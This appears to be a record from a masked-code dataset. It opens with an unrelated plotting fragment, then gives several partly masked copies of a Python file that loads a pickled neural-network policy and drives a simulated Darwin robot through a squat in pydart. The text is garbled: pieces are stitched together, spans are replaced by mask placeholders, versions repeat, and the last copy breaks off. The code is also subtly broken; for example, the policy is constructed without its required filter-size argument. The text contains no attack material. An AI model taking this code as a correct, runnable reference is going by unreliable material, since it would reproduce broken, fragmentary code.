markers = {"SGD": "o", "Momentum": "x", "AdaGrad": "s", "Adam": "D"}
x = np.arange(max_iterations)
for key in optimizers.keys():
plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key], markevery=100, label=key)
plt.xlabel("iterations")
plt.ylabel("loss")
plt.ylim(0, 1)
plt.legend()
plt.show()
| [
0,
1,
2,
3,
4
] |
9,945 | 97c5b75323bb143c87972b389e2f27e443c1e00c | <mask token>
class NP_Net:
<mask token>
<mask token>
<mask token>
class NP_Net_MirrorSym:
def __init__(self, nvec=None, observation_permutation=None,
action_permutation=None):
self.obrms_mean = None
self.obrms_std = None
self.nn_params = []
self.nvec = nvec
obs_perm_mat = np.zeros((len(observation_permutation), len(
observation_permutation)), dtype=np.float32)
self.obs_perm_mat = obs_perm_mat
for i, perm in enumerate(observation_permutation):
obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
if nvec is None:
act_perm_mat = np.zeros((len(action_permutation), len(
action_permutation)), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
else:
total_dim = int(np.sum(nvec))
dim_index = np.concatenate([[0], np.cumsum(nvec)])
act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
perm_mat = np.identity(nvec[i])
if np.sign(perm) < 0:
perm_mat = np.flipud(perm_mat)
self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],
dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)
)] + nvec[int(np.abs(perm))]] = perm_mat
def load_from_file(self, fname):
params = joblib.load(fname)
pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]
obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']
obrms_count = params[pol_scope + '/obfilter/count:0']
obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']
self.obrms_mean = obrms_runningsum / obrms_count
self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -
self.obrms_mean ** 2, 0.01, 1000000))
for i in range(10):
if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:
W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']
b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']
self.nn_params.append([W, b])
W_final = params[pol_scope + '/pol_net/genff_out/w:0']
b_final = params[pol_scope + '/pol_net/genff_out/b:0']
self.nn_params.append([W_final, b_final])
def get_output(self, input, activation=np.tanh):
assert self.obrms_mean is not None
last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,
5.0)
for i in range(len(self.nn_params) - 1):
last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +
self.nn_params[i][1])
out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]
mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.
obrms_mean) / self.obrms_std, -5.0, 5.0)
for i in range(len(self.nn_params) - 1):
mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,
mirrorlast_out) + self.nn_params[i][1])
mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +
self.nn_params[-1][1], self.act_perm_mat)
if self.nvec is None:
return out + mirrorout
else:
splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]
)
discrete_out = np.array([np.argmax(prob) for prob in splitted_out])
return discrete_out
class NP_Policy:
def __init__(self, interp_sch, param_file, discrete_action, action_bins,
delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):
self.interp_sch = interp_sch
self.obs_cache = []
self.action_cache = []
self.action_filter_size = action_filter_size
if interp_sch is not None:
self.net = NP_Net()
else:
self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)
self.net.load_from_file(param_file)
self.discrete_action = discrete_action
self.delta_angle_scale = delta_angle_scale
if discrete_action:
self.net.nvec = action_bins
def get_initial_state(self):
if self.interp_sch is not None:
return self.interp_sch[0][1]
else:
return 0.5 * (pose_squat + pose_stand)
def reset(self):
self.action_cache = []
def act(self, o, t):
new_action = self.net.get_output(o)
if self.discrete_action:
new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0
self.action_cache.append(new_action)
if len(self.action_cache) > self.action_filter_size:
self.action_cache.pop(0)
filtered_action = np.mean(self.action_cache, axis=0)
clamped_control = np.clip(filtered_action, -1, 1)
if self.interp_sch is not None:
self.ref_target = self.interp_sch[0][1]
for i in range(len(self.interp_sch) - 1):
if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0
]:
ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[
i + 1][0] - self.interp_sch[i][0])
self.ref_target = ratio * self.interp_sch[i + 1][1] + (
1 - ratio) * self.interp_sch[i][1]
if t > self.interp_sch[-1][0]:
self.ref_target = self.interp_sch[-1][1]
target_pose = (self.ref_target + clamped_control * self.
delta_angle_scale)
else:
target_pose = (clamped_control + 1.0) / 2.0 * (
SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD
) + SIM_CONTROL_LOW_BOUND_RAD
target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,
SIM_JOINT_UP_BOUND_RAD)
return target_pose
<mask token>
| <mask token>
class NP_Net:
def __init__(self, nvec=None):
self.obrms_mean = None
self.obrms_std = None
self.nn_params = []
self.nvec = nvec
def load_from_file(self, fname):
params = joblib.load(fname)
pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]
obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']
obrms_count = params[pol_scope + '/obfilter/count:0']
obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']
self.obrms_mean = obrms_runningsum / obrms_count
self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -
self.obrms_mean ** 2, 0.01, 1000000))
for i in range(10):
if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params:
W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0']
b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0']
self.nn_params.append([W, b])
W_final = params[pol_scope + '/pol/final/kernel:0']
b_final = params[pol_scope + '/pol/final/bias:0']
self.nn_params.append([W_final, b_final])
def get_output(self, input, activation=np.tanh):
assert self.obrms_mean is not None
last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,
5.0)
for i in range(len(self.nn_params) - 1):
last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +
self.nn_params[i][1])
out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]
if self.nvec is None:
return out
else:
splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])
discrete_out = np.array([np.argmax(prob) for prob in splitted_out])
return discrete_out
class NP_Net_MirrorSym:
def __init__(self, nvec=None, observation_permutation=None,
action_permutation=None):
self.obrms_mean = None
self.obrms_std = None
self.nn_params = []
self.nvec = nvec
obs_perm_mat = np.zeros((len(observation_permutation), len(
observation_permutation)), dtype=np.float32)
self.obs_perm_mat = obs_perm_mat
for i, perm in enumerate(observation_permutation):
obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
if nvec is None:
act_perm_mat = np.zeros((len(action_permutation), len(
action_permutation)), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
else:
total_dim = int(np.sum(nvec))
dim_index = np.concatenate([[0], np.cumsum(nvec)])
act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
perm_mat = np.identity(nvec[i])
if np.sign(perm) < 0:
perm_mat = np.flipud(perm_mat)
self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],
dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)
)] + nvec[int(np.abs(perm))]] = perm_mat
def load_from_file(self, fname):
params = joblib.load(fname)
pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]
obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']
obrms_count = params[pol_scope + '/obfilter/count:0']
obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']
self.obrms_mean = obrms_runningsum / obrms_count
self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -
self.obrms_mean ** 2, 0.01, 1000000))
for i in range(10):
if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:
W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']
b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']
self.nn_params.append([W, b])
W_final = params[pol_scope + '/pol_net/genff_out/w:0']
b_final = params[pol_scope + '/pol_net/genff_out/b:0']
self.nn_params.append([W_final, b_final])
def get_output(self, input, activation=np.tanh):
assert self.obrms_mean is not None
last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,
5.0)
for i in range(len(self.nn_params) - 1):
last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +
self.nn_params[i][1])
out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]
mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.
obrms_mean) / self.obrms_std, -5.0, 5.0)
for i in range(len(self.nn_params) - 1):
mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,
mirrorlast_out) + self.nn_params[i][1])
mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +
self.nn_params[-1][1], self.act_perm_mat)
if self.nvec is None:
return out + mirrorout
else:
splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]
)
discrete_out = np.array([np.argmax(prob) for prob in splitted_out])
return discrete_out
class NP_Policy:
def __init__(self, interp_sch, param_file, discrete_action, action_bins,
delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):
self.interp_sch = interp_sch
self.obs_cache = []
self.action_cache = []
self.action_filter_size = action_filter_size
if interp_sch is not None:
self.net = NP_Net()
else:
self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)
self.net.load_from_file(param_file)
self.discrete_action = discrete_action
self.delta_angle_scale = delta_angle_scale
if discrete_action:
self.net.nvec = action_bins
def get_initial_state(self):
if self.interp_sch is not None:
return self.interp_sch[0][1]
else:
return 0.5 * (pose_squat + pose_stand)
def reset(self):
self.action_cache = []
def act(self, o, t):
new_action = self.net.get_output(o)
if self.discrete_action:
new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0
self.action_cache.append(new_action)
if len(self.action_cache) > self.action_filter_size:
self.action_cache.pop(0)
filtered_action = np.mean(self.action_cache, axis=0)
clamped_control = np.clip(filtered_action, -1, 1)
if self.interp_sch is not None:
self.ref_target = self.interp_sch[0][1]
for i in range(len(self.interp_sch) - 1):
if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0
]:
ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[
i + 1][0] - self.interp_sch[i][0])
self.ref_target = ratio * self.interp_sch[i + 1][1] + (
1 - ratio) * self.interp_sch[i][1]
if t > self.interp_sch[-1][0]:
self.ref_target = self.interp_sch[-1][1]
target_pose = (self.ref_target + clamped_control * self.
delta_angle_scale)
else:
target_pose = (clamped_control + 1.0) / 2.0 * (
SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD
) + SIM_CONTROL_LOW_BOUND_RAD
target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,
SIM_JOINT_UP_BOUND_RAD)
return target_pose
<mask token>
| <mask token>
class NP_Net:
def __init__(self, nvec=None):
self.obrms_mean = None
self.obrms_std = None
self.nn_params = []
self.nvec = nvec
def load_from_file(self, fname):
params = joblib.load(fname)
pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]
obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']
obrms_count = params[pol_scope + '/obfilter/count:0']
obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']
self.obrms_mean = obrms_runningsum / obrms_count
self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -
self.obrms_mean ** 2, 0.01, 1000000))
for i in range(10):
if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params:
W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0']
b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0']
self.nn_params.append([W, b])
W_final = params[pol_scope + '/pol/final/kernel:0']
b_final = params[pol_scope + '/pol/final/bias:0']
self.nn_params.append([W_final, b_final])
def get_output(self, input, activation=np.tanh):
assert self.obrms_mean is not None
last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,
5.0)
for i in range(len(self.nn_params) - 1):
last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +
self.nn_params[i][1])
out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]
if self.nvec is None:
return out
else:
splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])
discrete_out = np.array([np.argmax(prob) for prob in splitted_out])
return discrete_out
class NP_Net_MirrorSym:
def __init__(self, nvec=None, observation_permutation=None,
action_permutation=None):
self.obrms_mean = None
self.obrms_std = None
self.nn_params = []
self.nvec = nvec
obs_perm_mat = np.zeros((len(observation_permutation), len(
observation_permutation)), dtype=np.float32)
self.obs_perm_mat = obs_perm_mat
for i, perm in enumerate(observation_permutation):
obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
if nvec is None:
act_perm_mat = np.zeros((len(action_permutation), len(
action_permutation)), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
else:
total_dim = int(np.sum(nvec))
dim_index = np.concatenate([[0], np.cumsum(nvec)])
act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
perm_mat = np.identity(nvec[i])
if np.sign(perm) < 0:
perm_mat = np.flipud(perm_mat)
self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],
dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)
)] + nvec[int(np.abs(perm))]] = perm_mat
def load_from_file(self, fname):
params = joblib.load(fname)
pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]
obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']
obrms_count = params[pol_scope + '/obfilter/count:0']
obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']
self.obrms_mean = obrms_runningsum / obrms_count
self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -
self.obrms_mean ** 2, 0.01, 1000000))
for i in range(10):
if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:
W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']
b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']
self.nn_params.append([W, b])
W_final = params[pol_scope + '/pol_net/genff_out/w:0']
b_final = params[pol_scope + '/pol_net/genff_out/b:0']
self.nn_params.append([W_final, b_final])
def get_output(self, input, activation=np.tanh):
assert self.obrms_mean is not None
last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,
5.0)
for i in range(len(self.nn_params) - 1):
last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +
self.nn_params[i][1])
out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]
mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.
obrms_mean) / self.obrms_std, -5.0, 5.0)
for i in range(len(self.nn_params) - 1):
mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,
mirrorlast_out) + self.nn_params[i][1])
mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +
self.nn_params[-1][1], self.act_perm_mat)
if self.nvec is None:
return out + mirrorout
else:
splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]
)
discrete_out = np.array([np.argmax(prob) for prob in splitted_out])
return discrete_out
class NP_Policy:
def __init__(self, interp_sch, param_file, discrete_action, action_bins,
delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):
self.interp_sch = interp_sch
self.obs_cache = []
self.action_cache = []
self.action_filter_size = action_filter_size
if interp_sch is not None:
self.net = NP_Net()
else:
self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)
self.net.load_from_file(param_file)
self.discrete_action = discrete_action
self.delta_angle_scale = delta_angle_scale
if discrete_action:
self.net.nvec = action_bins
def get_initial_state(self):
if self.interp_sch is not None:
return self.interp_sch[0][1]
else:
return 0.5 * (pose_squat + pose_stand)
def reset(self):
self.action_cache = []
def act(self, o, t):
new_action = self.net.get_output(o)
if self.discrete_action:
new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0
self.action_cache.append(new_action)
if len(self.action_cache) > self.action_filter_size:
self.action_cache.pop(0)
filtered_action = np.mean(self.action_cache, axis=0)
clamped_control = np.clip(filtered_action, -1, 1)
if self.interp_sch is not None:
self.ref_target = self.interp_sch[0][1]
for i in range(len(self.interp_sch) - 1):
if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0
]:
ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[
i + 1][0] - self.interp_sch[i][0])
self.ref_target = ratio * self.interp_sch[i + 1][1] + (
1 - ratio) * self.interp_sch[i][1]
if t > self.interp_sch[-1][0]:
self.ref_target = self.interp_sch[-1][1]
target_pose = (self.ref_target + clamped_control * self.
delta_angle_scale)
else:
target_pose = (clamped_control + 1.0) / 2.0 * (
SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD
) + SIM_CONTROL_LOW_BOUND_RAD
target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,
SIM_JOINT_UP_BOUND_RAD)
return target_pose
def toRobot(positions):
index = [3, 0, 4, 1, 5, 2, 14, 8, 15, 9, 16, 10, 17, 11, 18, 12, 19, 13,
6, 7]
robotState = np.zeros(len(positions))
for i in range(len(positions)):
robotState[i] = int(positions[i] * 180 * (1 / (np.pi * 0.088))) + 2048
return robotState[index].astype(int)
if __name__ == '__main__':
import pydart2 as pydart
import gym
env = gym.make('DartDarwinSquat-v1')
env.reset()
dart_world = env.env.dart_world
class Controller(object):
def __init__(self, world, policy):
self.world = world
self.target = None
self.kp = np.array([2.1, 1.79, 4.93, 2.0, 2.02, 1.98, 2.2, 2.06,
148, 152, 150, 136, 153, 102, 151, 151.4, 150.45, 151.36,
154, 105.2])
self.kd = np.array([0.21, 0.23, 0.22, 0.25, 0.21, 0.26, 0.28,
0.213, 0.192, 0.198, 0.22, 0.199, 0.02, 0.01, 0.53, 0.27,
0.21, 0.205, 0.022, 0.056])
self.step = 0
self.frameskip = 25
self.fulltau = np.zeros(26)
self.np_policy = policy
self.target_sim_cache = []
self.target_hw_cache = []
def compute(self):
if self.step % self.frameskip == 0:
o = np.concatenate([self.world.skeletons[-1].q[6:], self.
world.skeletons[-1].dq[6:]])
self.target = self.np_policy.act(o, self.world.time())
self.target_hw_cache.append(toRobot(self.target))
self.target_sim_cache.append(RADIAN2VAL(self.target))
np.savetxt('darwin/feedforward_target_simindex.txt', np.
array(self.target_sim_cache, dtype=np.int))
np.savetxt('darwin/feedforward_target_hwindex.txt', np.
array(self.target_hw_cache, dtype=np.int))
tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target
) - self.kd * self.world.skeletons[-1].dq[6:]
self.fulltau = np.concatenate([np.zeros(6), tau])
self.step += 1
return np.clip(self.fulltau, -3.5, 3.5)
for i in range(6, dart_world.skeletons[-1].ndofs):
j = dart_world.skeletons[-1].dof(i)
j.set_damping_coefficient(0.515)
dart_world.set_gravity([0, 0, -9.81])
dart_world.skeletons[1].set_mobile(False)
dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100
dart_world.set_collision_detector(0)
dart_world.skeletons[-1].set_self_collision_check(False)
dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0)
for bn in dart_world.skeletons[-1].bodynodes:
bn.set_friction_coeff(5.0)
pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376, 2047,
2171, 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448,
2855, 2073])
pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048, 2048,
2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048,
2048, 2048])
pose_squat = VAL2RADIAN(pose_squat_val)
pose_stand = VAL2RADIAN(pose_stand_val)
interp_sch = [[0.0, pose_squat], [3.0, pose_stand], [4.0, pose_stand]]
policy = NP_Policy(interp_sch,
'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl',
discrete_action=True, action_bins=np.array([11] * 20),
delta_angle_scale=0.3)
controller = Controller(dart_world, policy)
dart_world.skeletons[-1].set_controller(controller)
print('create controller OK')
pydart.gui.viewer.launch(dart_world, default_camera=1)
| import joblib
import numpy as np
from darwin.darwin_utils import *
class NP_Net:
def __init__(self, nvec=None):
self.obrms_mean = None
self.obrms_std = None
self.nn_params = []
self.nvec = nvec
def load_from_file(self, fname):
params = joblib.load(fname)
pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]
obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']
obrms_count = params[pol_scope + '/obfilter/count:0']
obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']
self.obrms_mean = obrms_runningsum / obrms_count
self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -
self.obrms_mean ** 2, 0.01, 1000000))
for i in range(10):
if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params:
W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0']
b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0']
self.nn_params.append([W, b])
W_final = params[pol_scope + '/pol/final/kernel:0']
b_final = params[pol_scope + '/pol/final/bias:0']
self.nn_params.append([W_final, b_final])
def get_output(self, input, activation=np.tanh):
assert self.obrms_mean is not None
last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,
5.0)
for i in range(len(self.nn_params) - 1):
last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +
self.nn_params[i][1])
out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]
if self.nvec is None:
return out
else:
splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])
discrete_out = np.array([np.argmax(prob) for prob in splitted_out])
return discrete_out
class NP_Net_MirrorSym:
def __init__(self, nvec=None, observation_permutation=None,
action_permutation=None):
self.obrms_mean = None
self.obrms_std = None
self.nn_params = []
self.nvec = nvec
obs_perm_mat = np.zeros((len(observation_permutation), len(
observation_permutation)), dtype=np.float32)
self.obs_perm_mat = obs_perm_mat
for i, perm in enumerate(observation_permutation):
obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
if nvec is None:
act_perm_mat = np.zeros((len(action_permutation), len(
action_permutation)), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
else:
total_dim = int(np.sum(nvec))
dim_index = np.concatenate([[0], np.cumsum(nvec)])
act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
perm_mat = np.identity(nvec[i])
if np.sign(perm) < 0:
perm_mat = np.flipud(perm_mat)
self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],
dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)
)] + nvec[int(np.abs(perm))]] = perm_mat
def load_from_file(self, fname):
params = joblib.load(fname)
pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]
obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']
obrms_count = params[pol_scope + '/obfilter/count:0']
obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']
self.obrms_mean = obrms_runningsum / obrms_count
self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -
self.obrms_mean ** 2, 0.01, 1000000))
for i in range(10):
if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:
W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']
b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']
self.nn_params.append([W, b])
W_final = params[pol_scope + '/pol_net/genff_out/w:0']
b_final = params[pol_scope + '/pol_net/genff_out/b:0']
self.nn_params.append([W_final, b_final])
def get_output(self, input, activation=np.tanh):
assert self.obrms_mean is not None
last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,
5.0)
for i in range(len(self.nn_params) - 1):
last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +
self.nn_params[i][1])
out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]
mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.
obrms_mean) / self.obrms_std, -5.0, 5.0)
for i in range(len(self.nn_params) - 1):
mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,
mirrorlast_out) + self.nn_params[i][1])
mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +
self.nn_params[-1][1], self.act_perm_mat)
if self.nvec is None:
return out + mirrorout
else:
splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]
)
discrete_out = np.array([np.argmax(prob) for prob in splitted_out])
return discrete_out
class NP_Policy:
def __init__(self, interp_sch, param_file, discrete_action, action_bins,
delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):
self.interp_sch = interp_sch
self.obs_cache = []
self.action_cache = []
self.action_filter_size = action_filter_size
if interp_sch is not None:
self.net = NP_Net()
else:
self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)
self.net.load_from_file(param_file)
self.discrete_action = discrete_action
self.delta_angle_scale = delta_angle_scale
if discrete_action:
self.net.nvec = action_bins
def get_initial_state(self):
if self.interp_sch is not None:
return self.interp_sch[0][1]
else:
return 0.5 * (pose_squat + pose_stand)
def reset(self):
self.action_cache = []
def act(self, o, t):
new_action = self.net.get_output(o)
if self.discrete_action:
new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0
self.action_cache.append(new_action)
if len(self.action_cache) > self.action_filter_size:
self.action_cache.pop(0)
filtered_action = np.mean(self.action_cache, axis=0)
clamped_control = np.clip(filtered_action, -1, 1)
if self.interp_sch is not None:
self.ref_target = self.interp_sch[0][1]
for i in range(len(self.interp_sch) - 1):
if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0
]:
ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[
i + 1][0] - self.interp_sch[i][0])
self.ref_target = ratio * self.interp_sch[i + 1][1] + (
1 - ratio) * self.interp_sch[i][1]
if t > self.interp_sch[-1][0]:
self.ref_target = self.interp_sch[-1][1]
target_pose = (self.ref_target + clamped_control * self.
delta_angle_scale)
else:
target_pose = (clamped_control + 1.0) / 2.0 * (
SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD
) + SIM_CONTROL_LOW_BOUND_RAD
target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,
SIM_JOINT_UP_BOUND_RAD)
return target_pose
def toRobot(positions):
index = [3, 0, 4, 1, 5, 2, 14, 8, 15, 9, 16, 10, 17, 11, 18, 12, 19, 13,
6, 7]
robotState = np.zeros(len(positions))
for i in range(len(positions)):
robotState[i] = int(positions[i] * 180 * (1 / (np.pi * 0.088))) + 2048
return robotState[index].astype(int)
if __name__ == '__main__':
import pydart2 as pydart
import gym
env = gym.make('DartDarwinSquat-v1')
env.reset()
dart_world = env.env.dart_world
class Controller(object):
def __init__(self, world, policy):
self.world = world
self.target = None
self.kp = np.array([2.1, 1.79, 4.93, 2.0, 2.02, 1.98, 2.2, 2.06,
148, 152, 150, 136, 153, 102, 151, 151.4, 150.45, 151.36,
154, 105.2])
self.kd = np.array([0.21, 0.23, 0.22, 0.25, 0.21, 0.26, 0.28,
0.213, 0.192, 0.198, 0.22, 0.199, 0.02, 0.01, 0.53, 0.27,
0.21, 0.205, 0.022, 0.056])
self.step = 0
self.frameskip = 25
self.fulltau = np.zeros(26)
self.np_policy = policy
self.target_sim_cache = []
self.target_hw_cache = []
def compute(self):
if self.step % self.frameskip == 0:
o = np.concatenate([self.world.skeletons[-1].q[6:], self.
world.skeletons[-1].dq[6:]])
self.target = self.np_policy.act(o, self.world.time())
self.target_hw_cache.append(toRobot(self.target))
self.target_sim_cache.append(RADIAN2VAL(self.target))
np.savetxt('darwin/feedforward_target_simindex.txt', np.
array(self.target_sim_cache, dtype=np.int))
np.savetxt('darwin/feedforward_target_hwindex.txt', np.
array(self.target_hw_cache, dtype=np.int))
tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target
) - self.kd * self.world.skeletons[-1].dq[6:]
self.fulltau = np.concatenate([np.zeros(6), tau])
self.step += 1
return np.clip(self.fulltau, -3.5, 3.5)
for i in range(6, dart_world.skeletons[-1].ndofs):
j = dart_world.skeletons[-1].dof(i)
j.set_damping_coefficient(0.515)
dart_world.set_gravity([0, 0, -9.81])
dart_world.skeletons[1].set_mobile(False)
dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100
dart_world.set_collision_detector(0)
dart_world.skeletons[-1].set_self_collision_check(False)
dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0)
for bn in dart_world.skeletons[-1].bodynodes:
bn.set_friction_coeff(5.0)
pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376, 2047,
2171, 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448,
2855, 2073])
